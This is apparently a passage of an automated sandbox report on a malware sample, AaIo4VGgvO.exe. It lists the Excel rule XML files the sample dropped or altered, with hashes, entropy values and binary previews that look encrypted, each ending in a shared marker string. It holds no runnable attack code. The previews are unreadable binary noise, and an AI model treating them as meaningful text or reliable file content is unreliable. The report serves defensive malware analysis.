Preview:	<?xmlC..~......Q.tU+Se@....S.i..L...r..~..N.:..n.)br=...[;G....l.09.q.].2K..f.......5..C.A9rE......a...P...Y.i......NgQ.8..\|hb;...)....Q>.....9.0.....4....!....W6D~I...N.....@..%!;7.....S...1 .}..;eY{..n.e?+.nI.g[I.@..jm..IO$...S...../._...ER....4t...E.o....N;.."..BL.....i...=J.vTP....X..1...@....;..5>..`.;..-}...u.h......5....q...Y........gGdv.}..PU...qg.@z...^iMDd..w..f4.]..L.AHA.H..A.:.[u...b...9v.\|..;.._.=......v..I......>..py...R.:4Yx.Xd.........o..5 .\..Jvy...._.,........P.C3tM..E,....uJ......<.R.`.,..#..s8m.<..o..9.<pq......l..>.7<.bli..W....-.....IB.].0J....;..Q....q.....P...p...\|.f...y....u.u..%.(.4)....>J.()S..(~.R.M...V..e......]6....;..P[g!q.^].b...I.N.@...B......$).;91.(`:...\.....e..=...^.).h.?&.....i.:.=."..D.Y..C....je...k...2.^Y.G.#..f..vF.]...2...E(Cb..Fm~.....v...z.0.........xC.h.>%.MZ...5....!....O."d....h0`+..A$c?Y.y.lf..(}J<."x..:k%...U..WJi...y.O9..S@@../..=..g............n..p...)R.7.?....VF.}....X...g...R.8f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.835812966890726
Encrypted:	false
SSDEEP:	24:TrdD/pcSjAWjFok2wr2ldwb2ykfJCEd1J8mFWskafDbD:TrbjHZ5stf801JHXD
MD5:	9915E68942CB4B3DAC31762AAC702BE0
SHA1:	12FF4072238DE86C1C21D00F44B90CE5BBCC270E
SHA-256:	BB5AB2574B48D33DDF05FD6734D7691E0C4306A38A1135D82F67ECFC6F88A5A1
SHA-512:	0C4E9A4A3D9363E5ACB9AF0F622B9C7834C6C96AF5D53659052CA6474EB9486E9881998814252153CE8EADC1E40A77A8DB3F13C1FAD78A1C958D3520475FBF9E
Malicious:	false
Preview:	<?xmlq..^.u.H...z.0.~..T..k.....3H.....w....L........o....v....dC+Z.4..Dl.3......o.........)........^.F.'..c..(.G.9u.\.P@....x.b........^...#.k.&h4.....]>Z........6.i(F.'y..A..f.1....$^........L..>H....x....g..?.......q..{.j..k.k.Tg,\|1..VFK....d.=}.. ..h....7...;#.....w.Q..M...l..2...MwJ.U....n.q..;o.4.9ft.G..'.>..jpU$Y..W..R...f........4f&..r...&......2?...h.........^....E..._.p.)NF...m.T.s....H..S.H....HO6.;.j..^.T..{q.=fr....,.x.g...#...s.I....'.R......4.x{.?8u..s%....-........xO...D FUKk.zb.<c.B....T...D.A._..7Q..A~.v......m...}.O..Ln.fR.2/.}pP.02.d...M..`...&.4^`q...I.].a......`...17t..mr.....k..%4...!=..>..gt.=.O.UP).#y.4M...o...>x...;N....MS.h4..7.Vqj..... ..B..\|....Z...g....6.y.[...H.!...U.=6.\a...M.Z...R...F.F..&{..!.bZ.N..#!&....!.../...Z. ..2.e 0.g.6.b.y..t...jy.M...lX....lo[:J....4y..U.E.gB.X.B7!..Wi.V...W......,."..CRT..2.......pe~.<R.c.....9......x....k..o.\.?..6.N.2..;.:qYT.G...4..0..J...e.\|.Y-CN.[.@.M..c......u..\...d-"o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.821197358532168
Encrypted:	false
SSDEEP:	24:s8sWLRDXMvFOpgZZ+x6pZJKPzpgVZvuKSnG3kWmBCjLInbbD:scLivFWgj+OqyVRbJmBELOfD
MD5:	390AF362B9C22C362B363E469998208B
SHA1:	5F1077DF428B3463A1D38EEE9FB7AE485E780DF1
SHA-256:	E52DBC4540AE991DECF802E9FBCA03CB2FC1BBA50AA628D4A83B6D1A49DBB392
SHA-512:	ADBD88D6A66DCE2F20399BB00167183FE069E6BF209D6EF67DD1CA7170CD85DBB9F913AD6AA27111ED222544673859795235B7E0F1E42B798EC8E3EA140F3401
Malicious:	false
Preview:	<?xml.A...s..J?..C......c.I..LL=M4O.G...<..Om1m.r5..E.....&1..K..e0...bjE.(.-z..WW....[..l.QR.-s;...w\|k...;./..zw.<.k.m."..dU}SU`EQ.). .r.Tl(.......A...L.>..5....E..h.B......k.zXG....}p..<q....?..<..1%.v.A..h..@..>#?.HFm........(.=c.....C.J.......!...D`....?.#........."G...0.%.h.v....m.7.:.B.....%..b+.!@.w^..B...."..X.%L..=CX...CP.hV......U.szZ.4..~.. ,......W/.:.-.:.....[F.d.><....Y..r..Gla.!E"B.....K~..cK..CD......b......H0......p...R....W.dH.g..f4...M4..\..qI...S.R..J.=...(_jB0../a.3...R../..6Q..G<....\|.K..n..2..b.=..^..B.Lu...n.e..`.w23;4..o.+M..1Q..@!.....TT:..zy..mG7.g[.J9....)QN.b.<.!.&y.Adv.!..&...^....?>.p.u..{...g....Y..H...tiS.."O........_.?q.J.w#%.j4..9'.yQ..".1s.1,-..p.<1......"..d...@.....LF.a._Xx.u&.U.. \.UH.6..w.\...S..I..L.l.`[u.11.F...fI..P.a7...7\..C..^./.%.....y.1Z...;8.QH_...X"$.#..ZD.N=.../.......\|........n...{......P.....@wDM(.-.N.[.........[u......p.p4...4..RW...$..<Zs.u.A.{3..\|..h...V....KM0..+z..e..\|..s0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.810869579938389
Encrypted:	false
SSDEEP:	24:z4HJYdWijObIaCFy1We3mWYJbYE9nr+jXRTE/KDzubD:zyYZjOPCFyceW1h96j8YzMD
MD5:	48E047F1920BDF86D6282E89B396BEF3
SHA1:	8563161F8936E5272D322AF99F5167BA27AE3F0C
SHA-256:	39A64040FD84C72ACD2012356ABC37448852E93ECD69BAA6E1060A24697822BC
SHA-512:	00A035E7E89B0789A353E90D2E484FF153D87FA7FA6E8D528F3489C68BCCE4AB8BE316FD05883D9B89895305610A1DD8C17D54F2C1F2EA30DFC1AA60AEB03C96
Malicious:	false
Preview:	<?xmll...c4..>nr.....S5$..r.../.,..N.... .n.)..:....s.h.Z<k.....Q.J..... ..C.^.Z\...>X.?.d...a...&c..\|;B...z.8R...!.F..@..H..qC.........$I.3......Z. i.A.2....G.^&.z.._\|&....3..6...p...}.R...0WC.....H.K..U..!..R.kiN.....bl.....".../.4..n.."..?......O/..^B#t./.../..[..!........h.t.K...[.v4..^e.#..7.s.-..jr.....L..nG.....E...'...\.r......mk..Ih2b .......-.....2'.^...s0%.iD..........iQ0.u....{......C[2H.. .M.eW...O.;1:.e../...g.....tg[.6....g.9c...(l8..^G...=..0....88..!..?.m...q..WB....z...4.z......K...ok..pU.&3...0...>..-..wb.0{..rF;S.`.AS.).&.,.h'.e...R>...DRo5yh..F..B......:.f.Rk...T... ..p.....%..O.._/3.I...S;'V.8O.D......4s.......8g..K..y.N.j.bA.D..p.....>....N%.......dP:@D....\|.&./..w.)P=}j{].J...s..7_.2.tR\|d./U.....4;..=......h.....6U.....^...Y.o.....z.^.m.0..A#....m..=g..<.b.M?.......o.\..L(N.>.+(....uVE......^..N_.[0tv1..g...._.H^a.......@..V...b$..@.6..$:@..?...SV..L?\|.Q.......D..qJ ;.2.....{..&........`..mX...z..........F.R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.800677277187949
Encrypted:	false
SSDEEP:	24:tzszqjdhQXJ5rYbr3f5uVZjCE3u58eZksguMJjkSW6bD:O8dhSOTf5oNbu58eZkxuEW4D
MD5:	EA1D0FA805F2ECC81DA562B2941536B6
SHA1:	C83766E54DAE05BBF365DF4DB5CC030AFF2343EE
SHA-256:	A68F0B5693AE8326EE64E15FEDA40E9CCE556AA6B3D5B150448377B738CB2842
SHA-512:	65B56D5102FB84CA3A07B5902ED446032B7D5CBA8620ABCB10E876BF48E5494E36A5675F4057C68B0659461B8F093C9F94307A0A3616C8452FAF0492C6B3C463
Malicious:	false
Preview:	<?xml.oF...`.L..I..x..h....S.L...f..V...OK.nH.?.....t?.nz...4..v..&..B.QL.nZ...../:3[.X.b..m7..T...........Z....c/...T.A..v._..x.f.!B..1..s..0.X~E..0......<6...KzB9.. )......x... ..[....@h...Q..c.a...{e.........Fp..zX...O..$.....v.9..o.....nV0....s.u..X.`F....d....$v........H.N...i.......?..0$...2.._W(!A..dA..d^..:]p...Nq./.r`..9..........7..QQ..F}.6.@.4....M /zV59]]S+`&.......{..mR..i.......3..Ow..v]..(h....!.t.%..."m#+...:_.cgz..O..8.._.w.#......v..!......o.d...<.i;.N?...XKE..P..2`.......3.0.d.../;".t.......D.2~..X...2P$y....O]V...y..0v.j$u.MKG.L...T...=Q.@,OqT.1MK.a.K.:...:/j.......A/.k..+.PG..0.....)......Z...c./...%...4..7.d.....V.]....9Z>.w...~...A..Qch.v.K...0....]~/.2g..',.R.J~..0..w....Ua,..'.=...C..a.8..w9.V.-j\|..Z...[..Pj...............be..2..(.((.)....!..J..J.$..n...-n...5".U..).?M.X#.4t[e..5.S....To..jq...De..e.)..6..%..,..\.I.v..H.....Qy..L.yUp=.r..W.....#U. wP... .....b.....+0.@......S. "&..FS[_.x.T.q...-...7.....VV.C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.8023882242078395
Encrypted:	false
SSDEEP:	24:yzrdbHxyJGkb/Bv4b1lU8Vy7Ylh70JavGb4NoQm89dDa8DxWa+shOd1dsbD:yzrJAVj+bM8yYlhYJaOMN48Db0zsho1A
MD5:	512B89045358DCEAB09AF34A17C5F4C1
SHA1:	7C33C7D80CC2D1F058662D08015AB455B543EC32
SHA-256:	4BF6961C299A78CF45CB2A56A1D70A887E940AD59780C790878E716F953BF2E4
SHA-512:	842AC70CDB07A026791A451285A870A657F6B5B171ECF090C536773C159D5A98F7568380F7E6E69AE41BE105F500833A15FDCFD6C5541E76CD51DCFE597A6EDB
Malicious:	false
Preview:	<?xml.tusn......_N.G;...{f2.s..........oY...w..q4....p....TP...CC......{C....J.s.v_..r...Xx.N;`..s......b.....\|.zv..:r.MG..c."..9........S.....h.I........W#g.+...m.."&.'....?.....h.A...N.......,.).Ly.CIJ....EJ.t6....X.+.R(....H. .-..yXY........13c.b...[.}.5.qB...}.....s.W../D.......;...i..Z...u.....ra._..D.7....I..Z>.L...X&..%".p....?m....V2&}_U...K.".......&.d.n.E........M...X....T%....E....[,)...{C...B..VwT.hr.y@....q`\|hA..Z.2.J.j.d....YC.<.d...`A?.'C.J...G..5<..V...V...U.E......9.sZ.....w.t.x.@~.^....R..a..t..~...Z..J>.:X-x.R.{.....~.....jK.<7.L-........U5Vk]?...>w..d.}f.$..Ve*.N.q.[.E...2..F.h\|..h....G...6B{..q!\6.<y....'crpv1..D.@...B1.B...q...+.....N#d.Qt.O.i.&5$#.e..3&..Y...=....R........6.ET.UO...-E..^PE.h<W..[..#w.=.R}.C..T.~..#.-...y...T..`W1.....].x-z>u..-..b..L..Y..w.{...9.....LVf.\|m.0.I...\|..X&....7....^X.....g5.....Wc...+........o...Uu.58.(D....i@.d....i`..'~..b..g...W.3\...KJ..f4$....EU....j.#..+.=..<...`..f......^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.812425150740573
Encrypted:	false
SSDEEP:	24:wIWKtT1BPgdByhVzVsUENIXjyEm1LJ0Ic/02aI21aGJs3HbD:3fV1gBERD5+E/IcECD
MD5:	0F93EFAF19D018C896AE53F5F9D016E8
SHA1:	21FC7BFDB5798D245880C024BA7BC41E34B284DD
SHA-256:	854B33210215617C86CA5E120741ECEEBADA68C9FDA13C598133A1A1F6B7C7FF
SHA-512:	0350086AD0BDF8876F68D8C3751AE3614B425CACA10151CFA48759841E274EE10E8DF45DCA7356A0A41CCA0F4E5FDB61FEC7D8CA3A57CCAF0E41C0CA9891FCCD
Malicious:	false
Preview:	<?xml.xH&..r.6..8u.....Af..{m.xF...<.Q .....Y......R+,.:..E.&......MY.3{.C+...Q..X..x(..?.2...a.YcE:C..N...m..E.@.<.f..ua....[...Q.........V...)l...z.N.,...7...Y.+.\.....$`a..<..[@^.....P.C.:..:...."D.n._.A{%....o.^.....A(.x....X......'.~...&.M......#.(.....7.,.'p.w.4.F...@X...a.nw.o...H.../:...F./..K.D..e.C>+.e.d%...TL..\..C(V.z..1......C..Q&nH+;q{.-......rY.&..we.5).b.@a.......p.....Z.>..DV..z.,$.B.r..b...>i....~..+m.D.T.)..Ct...cJ.0ac.Qc8&\|..:.}X.p.....u....fM...]......M../Y..1.k!....u.M.......`$_..+-.{...T@....a..B."..lI+\|...OC.=..d.r.~..K.LQ.;<..S.W...~..bC$%.".h...s.Y0b.^qWg.@..5n....Ac...fD...,%.hd0f.v.ay.gh.c.. O.)...Q.....C..>e0?i....y..u...K1..M.P.'...)..............?,l.G....G....m.........%3g[..HA}..w.G~..xJ..-O....B...U..l....@...v.p.......".v..I.....y...R.M...J.H._1.........L.....-;...S@......&..j/tN.5YF`\|.x....)......`G...'..P.Sv...!...(..=..Em.o'...P...".pQm.....d....7j..9-......w...QP._.Fd..\.6.B.Ep......JKHRSLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.777806409168104
Encrypted:	false
SSDEEP:	24:IRU20y8CuKq2+EWRJgFMcFAEGMgwx65BfzZBm13sohPGbD:XBCh+pPgFrGc65BfzZBJD
MD5:	961E5332AD1D7C941F1097CFFFDBFAD9
SHA1:	8EF755B9138757A7D77885CC1D9CE6B8CA93254C
SHA-256:	DEBB8D0D7904507490C2152A6D0B7D3D3BFAD55EC0DEA354E749C1810F03F901
SHA-512:	26AB8993B9D815A6AA309A21060B3761F27DDC1227138BF47FD7930342B6AF1A33782ED68C750E639F96128A3D342B17FE45AF098EEDA9EE437EE3A2056E1DBA
Malicious:	false
Preview:	<?xml5..(........9j.....=K`.U.7HA.:..C....e X[;.1Z.2.7n...'~5..'.S..F.#=hI.-../.<.....>...`.U.jh......k.'..K..]T....X..J.W-..$..U..7U7.eOW..4.b^N.r%.+.`A..H......o..S...un..4....4E.{..}v.........v3......;n....}\|...y.\|..?.F.Xl.Z.G..."h.....~.Z.".<.q.T..t..A..JS.w$...:B....z^.B...L.._.ti7...\|....LE,.@. P.....K..b......&.o. m..4.....k...75.m.....!$.Q.1.X}..._...ma}..._..H.s....4...8.P..=..5(...?..^Pc..x..e..1..&.A..#YI..Q..{....:..`6..CUl..<.w.P....Xu..U.}0...k..]$.....aJ........x.d..8Ux..m.....E.....57.l..*.6.;.c..E.%1...AA.R.p.js&..^.H.'..XF.......j&Ys[.+...oi.@.a.4j..y.+...c...s(.pY5.C.a.....EY}.f7.j..D.N.l7.V....:.V..w.`X?.....x;.....5i.BK.r......l&...x.}...._x...c.Z......7..n^.\...q....@.q0......!...U..........0&..s...>.....}-]....Nc6.\|j...[..5~.U.....-%s.V.p.pQM....>c.....j].n..D...W4.E...m.0.kU..H.D...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.753828328862538
Encrypted:	false
SSDEEP:	24:Wth6XR3VKwhNHmqPUDK7zYPBzY6sXfQ/WqUbD:O8VNGqPoKg5zY6idD
MD5:	E62EC9BBB930EC5C412CD5442A7DB637
SHA1:	6035F210D1CEF67A3E8672A93E30AE8D3E754E87
SHA-256:	349AC463E625088DF94985DE0C9DA3AD23276D708086E263A4273CAC9E8D6321
SHA-512:	43FCFF78EF94911B286CFB8670E147CAA5D7BB013F4332A8C1C10580D6DB2451AE7D1B1933C554F94E41A09FDDC96C38802409D895B8A9523965321C265628A1
Malicious:	false
Preview:	<?xml.^...Q.?.LE..lgz..y...........[.iK7\|.MH.C..U.cI...h.4...pg.B..X...:bG.9tW.N..V"^\.!....a..h..c.F.....`.5U...7,..g[.mO,. .+B..m...ml.$.....9..'.dA)...N........1.{.&......Q$..t....E$p]./....}Q#\|>..g.V8z.M...~%.I....V......I.w....<..../.....w...\..i.E.K.;...Qc.4=.lW...G.....[GA._N....}.[..X......L!..M.A.....`.T.`..I..%+....^....k.......Z.6U...J{.D......%.J.j.W..H.....i'.W..w.B.W&}..........@..._D..@.`.._.j..`E......xv;#.\|..IIM..7Fljj.E.E...%..D..^+.....I.\../..4...sV^.t%9..Y!.G".I...)eZ....s,O.%.-...]\|......zTW...K....q.3.aA.$T.!...!...^.o\|..........t.......(.9..B.u.q....K.....K7.E..y.*_Q..t-....C;{.Ag.$H..H.Nt..p.....}..s...;....PB.0,."g.....>.A...V<;.}t.......2...'./Nb..........j...T3.,..6.. O2..Q.^..r."l.....(.....C.a3../P..frA..l'nF....?z......Ir#w..j....Oo.q..^.K.G<,...}..P.:..6...>.z^.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.745441399468373
Encrypted:	false
SSDEEP:	24:zMRnVqJ0VwHoVoVGHWzey46Z6qD48iTLXy+cpZgbD:0VIewIWkHWzey46Z6qDWfi4D
MD5:	6AD105FB6B01CD5E59752FB1FFED1D1D
SHA1:	613BCA12E046FEE712EFB4CBB201ADE9D72323C6
SHA-256:	1EEB782B688C257EB78BA149374AC2FAB37019E1188DDF05A1D1D607A75E1B18
SHA-512:	19C9538FF721E4E660418AFC70034407847DC292F7F1C4DFD51C6D1789F9A408FC9AE0D822C98837ED5F8DF60DAE9145BF1B66F9EB81F6023898F5021F46619C
Malicious:	false
Preview:	<?xml8...V.989...`.Vs{..w.HoV..........s......\......7d5.e._...........m-....\t..5...S6.x.zN..Q.+w....[.@.#.\|...E.@...e.l.a..L.<!.D....g.....r..u..}N..b.c=N.v...Q..C...t....W...`!..E[p.I...$.....S.ELc1lO...p.=....I...S..Y.}O{.nXhde.SX.........$@..;,....q..c. .zf. .....96C.....I5d..........6..d5.. b..I.".s.F#(".c....gD....X...{C.6..s4>............\|..Z......=._J1.kgR.3..LJb.Y..S....j..k^Uv.h...<N._....Q....J./*.O.I..V.>#.qC5.h.{....H..=.#..Y.]..........eE...b.....}5.......8....8...U.[.i......c...v..W=.a...}.1..}.{w.>>.....f.9.A.d..#..x......I.n!.ZJb.'N{.. .....x]u..J.....0...g.Y>..T5....E......n.MV...I.G.:.EU........ ....(.,"...nD.).......-.=u...-4...Q5`9....]..A...W.G nwm9.....4zN....2.X.`..4....D7...WW.......u<O.............q..Y.X..p..R.......@....G....F# ./.Q}F.}$..M.fS..-..^t.,.g....)..u...<.....k..L.^N.m.C..JL..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.806520506228461
Encrypted:	false
SSDEEP:	24:WQhP3sctX16l8Anc8vwG4geWVlc2B1Ng5bD:lp39AcAFveWPB1UD
MD5:	D1C594224998B0B424F26CB4CB8A3D82
SHA1:	AE9D9828FCC87DC6DBC1B2F9926D8C496792A969
SHA-256:	14C71B141299BB85D96D93B82AB35BE169475AFA867A0DADBDDE69D6A212955D
SHA-512:	DA5E301F6A8D603186BAE7B3B1CB0453976356E7021C881C6B3E821BB9224D6428EE05642332CD6525DD3E2D3EED7DC413ABF4B30A9FAD9F05386251B4147889
Malicious:	false
Preview:	<?xml'..{..:...e.Q]..q...Ul..?y.....[x..:K.......b.Z.$P\|.^.......T.\|.....U... )I\..p...%3./.....$....@...(.[#.2..l..-6;$.$(..^...Jgj..........3t.......i.X.}s..K..;........r.I.k.Ya...M......s..I?...."al..A....c.......}.w....>.s.].0...F.b..T`v=E.+y.....IT)g.'i2.j.;.j...u.......j.z.7&.}s.q...b.=iJp_8z.<._$@y....B.-.E..s>.Oy.jpE./...B..q.7R'T..j..^\Ir...ge......F.Y...:h ....Q..Cr...ff~.j.j..$d.>....E=..8..Z?'....!.T..+.Lj..\|x.l]~2V.K.^...\|...Z.UB.0......n.5..........O}j..m....]>.>.....9W3c.`....$,....~...H...Q..N9....M.>.eI.2E.I..+t.W..o.q..>...D...;ns....D.n....l.GL.8...A.53.0.....r.m.-t _..T...?.t.....r..?....i..k>.n... nS/........d0.",...@......?.Hh'm..z.$.....S.....[d.%...S.e.P.^....%1[..."k.E&.e..k.....\.p../mXqJ%s..S&...R..A....h...iA!}.2.X...@o .4.d4(."...lJ....jo.V@.!..2...<..oz:....c.`\..a+.U.Ov.oSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.758582021813094
Encrypted:	false
SSDEEP:	12:s1TQW4OGZDvklb14EFPOun3frn0nv+t3GfTv28tkuDgjG0R9SyjLuogUpCXJuk9w:VAXceOun3fov+VG7u8tvweUI5vML7xbD
MD5:	2B0A613A3A694AC8D8588FDBDCF36B0E
SHA1:	5E06FDF1BCD0FBE8CBCFEAA8440534641D40D6CD
SHA-256:	38DD45B0DF5CBE88DB52FF84E7CFFE0B11C59F5915F584B39B61C370606C3348
SHA-512:	648E18E917C268C34AE82C3175E9C9EAB9CBD04D659A32F0374AE7E6F073ABB8CD206056D087A1CCD953821D24167D641A2B0127B0633BCF4D69BEB620F7BF05
Malicious:	false
Preview:	<?xmlQ..?zR.O4.......\..".....R.JG.}.+....2.......~..@..2.......sE.z...N...qz.y.&Q...._V_<..4...M.c...#4.f.2N......w.#..a.?w4'.ob~.gb.V.)e....B.g.....7D........-... .#}..4.4.w..B.p\,++%.q~/b.."...m..:.k..@.b.&..b.biPK..?.\|..N.+...n}Cc%.4.M.....fU.qK..N.BU3uBx.k8X.8X...Z......0...yx....it.M....e..0.......<..._....Cf..}?#.R.....O... i.ze.f.&...AQ~..E.f.c....j.....:..F...."....vO......"1Q....g.yEn.!S. .$qik.t.rQ.......M7yB...j....f?..:e..jVS.k...o.e..F.C.......8..6)...C.P5W_[>..1.....(...}7O.w..._a.O~.....c.D".S.~..o.R1.....gz...b..p...K..{+.`.....3...zS.js.O......cy.........uc..[..Fj....@"m....n.+......{z....2{.[.....G..Ye...V..e..3..6q..b{......O.^C....a.>....l......F.c?.......d2\|.[Y<..).k.....s....".....&...y7..i.f>[......a..#..M.^......A[.....(u...C.U.nM....s.../,yp...g........Lg....;...2.]....c$.xZ..h.Z.z.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.7659672817834435
Encrypted:	false
SSDEEP:	24:o54oMzzCvyDvOhHSXTpCbSag0x6MNxb8qoOHbD:F4vyDvoB7Jx6axoNoD
MD5:	EF6DA312FF07DEAE2CE1CBBC34FAA90E
SHA1:	3E9882F7ADB7E2F1805A958330C2788EBD344AE9
SHA-256:	352EB12CFF8D803F757B6C49F447AC9C15D9BDAFC4F99B3D03A9BB11250EDB67
SHA-512:	EB32FA2582097AED9BBE33DE25E2D15CF31936059838BD736AC07B27A2F95103EF4E01A8A116DAAB35FFDFAD0BEDC093D4B2694BF0E7C280A3FF5A2F54C1AC9B
Malicious:	false
Preview:	<?xmlU.....[....e.6.^t-.R...E..b<O...}+.'S..k[.....1..~..s2.n.V..kI.b#r.v..f.2p.'.n..N.b.D....d0....D...%W<0..$e.".e.p.......P&$...-EvK..zu.%...D..+..2..i..l...`2.!..s.}..C.:..E../....).J........q.4A.(....S.......XQ...6.....q..W...h.....%z=T.U.x.V+P.t.x`..\|.z.....Eh....T...qd...i..9...l..Fe=. Z....qn....2tV... .....vj.d........oe..FK...1..@9e.C.8....A..;'8.....gM.J.... e...m...9..L.OYA..Bq"s......DPR).}L7..u4.T.....[.e.`B....&.r.-.b....r.....B...\|>`.k.....b?..p.f...O5!.P...D-.g.zM....He.kr.$..K.04TB.....1.-......0..Y.....dK{.=X>80.\|4....Y...?.d..}T...n....P. c....u@.W...........`t..t.uo..K.D[.\oT;:-....2.g......+...=q.....#.HV.\|v....0.~T.,.Y..-)......{=~1.O9.~pVe....(.........S.mYZ.....yOd...t;.....A{.&,m......p{.i...[aCn.H;O..;..`U./.T.p...QD..>.=p_........\|.Qs....S.En....H....G.....f.a..$.v.j .SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.786576462795286
Encrypted:	false
SSDEEP:	24:4OFTvdFdjhPR5QVuABP96JFvGRj49GHmt1QJdpMt5bD:5vdjtQ8ABPaORjyG2QJdyt5D
MD5:	FB8E99BCD232FCD7ABD836FE17105271
SHA1:	E1991BECFC7280520C9354AFB995BE901A8ACAC6
SHA-256:	2725995A563A73DB6A45624A0EA309BA780070A1B52CD9C6D2F4C58D08A75D95
SHA-512:	7EFBB28305614291EBB644F4EC66AE8EEAE37509A21E4ABA1445E2CDC09C3840151F7D1C2C17E6D270D31DAAEDFE9F9EC055CE840BF4DB1758FDF179CDFBC71C
Malicious:	false
Preview:	<?xmlB..I.H0.....R8...KDp./8hc.$W.!r...6.:{....z..OX.2......D.i(..... _.Zyw.W3..2.1{B.K..x..L..\|..!.`..YE.F.g.X:..eX&e.Lw.....Pt......Jr...<..#..7j+.7..Z...6.s..U....{.{..c...0.f)>..L...M.j....t.ZBN..8..-..g.&...Z..~}..rp.a.,.A.b.aZ...:...g.@......4.)...]A.?..~.....w...RJPm......?h~..........9.>Ux.....p(.wIf.....K{....Yb...M........l.....]....b..L:..?..y.Yy.h...,...]...3..6cE.....7g..>6f.9...H..{A..(..0...2...7\|...+.j....f_H?.8f.F......-N..o..w.e......JS....u...."\|..Kk}.(,5.#Z...6....:OK..".V..P....1..J...kTZU.B. .p...@...Hv.N.;N......#F5.z6../\...w...C....l...R..z......^.x......v w.T.&v.[+...0..W.............<..+..k...I..m.YV...y.x._....ZA....5.#tm...;.\|...-=....W..d.#X....k..b.$QW..]0........."L.@......Z.,../#.N.N..O...E`.@..5.M.\......,O...=..k...$...V...i,....Ut..\|"v..5h..\.C.5bK.5..i%H8..g....T4..+.....).4.+.. X...t.-....C..0D.O.......7[..0....4.c......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.839752693726608
Encrypted:	false
SSDEEP:	24:2GmD+IeOiaSAdhg1pqwosxcmeq31ezL7X4FeJOJp9E4am0rBuV77GRDQ7tSHbD:2f+IC8hOpJoekUYo8OP9E4am0rB+77+B
MD5:	69833788DF887A4C0DA001331131BED0
SHA1:	A6F8C4DBE81CAC81C50E92CB3C08A93010FB682F
SHA-256:	BE09FA46FF3B681ED3409521C30A194934AD82E8E43C00570CC5873A3362E6F9
SHA-512:	987BCBB2488D08DCCFBA0758A09C792404E1E54D2A45B6D6BDF0B14221D9F6755705E74477316D2250D8BECC7C91D251193302D7D3473C5FDE4FB3C032E36EE2
Malicious:	false
